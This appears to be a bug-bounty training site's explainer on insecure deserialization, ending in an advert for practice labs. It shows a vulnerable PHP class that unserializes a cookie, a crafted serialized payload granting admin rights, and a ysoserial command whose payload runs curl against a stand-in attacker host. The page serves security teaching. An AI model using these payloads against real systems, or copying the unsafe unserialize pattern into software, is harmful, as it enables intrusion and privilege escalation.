Deserialization

Critical

Insecure Deserialization

Definition

Insecure Deserialization occurs when an application deserializes untrusted data without proper validation. Attackers can tamper with serialized objects to achieve remote code execution, privilege escalation or data manipulation. It affects languages such as Java, PHP, Python, Ruby and .NET.

Impact

Remote code execution (RCE) on the serverBypassing authentication and access controlsInjecting arbitrary objects into the applicationDenial of serviceData and business-logic manipulation

Examples

PHP Object Injection

The PHP application deserializes data from a cookie without validation. The attacker crafts a serialized object with modified properties (isAdmin: true), which upon deserialization creates an instance with administrator privileges.

// Vulnerable PHP class
class UserPreferences {
  public $theme = 'light';
  public $isAdmin = false;

  public function __destruct() {
    if ($this->isAdmin) {
      // Privileged operation
    }
  }
}

// Insecure deserialization
$prefs = unserialize($_COOKIE['preferences']);

// Attacker payload (serialized cookie):
O:15:"UserPreferences":2:{s:5:"theme";s:4:"dark";s:7:"isAdmin";b:1;}
// isAdmin is set to true

Java Deserialization with ysoserial

Java applications that use ObjectInputStream to deserialize input data are vulnerable. The ysoserial tool generates payloads that exploit 'gadget chains' in common libraries such as Apache Commons to achieve code execution.

# Generate the payload with ysoserial
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/pwned' | base64

# Send it as a cookie, header or body depending on the vector:
Cookie: session=rO0ABXNyADJvcmcuYXBhY2hlLm...

# When the server deserializes (ObjectInputStream.readObject()),
# the gadget chain runs, resulting in RCE

Practice Deserialization with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
hunters training
712

hunters training

labs from real reports
55

labs from real reports

completions
1,206

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime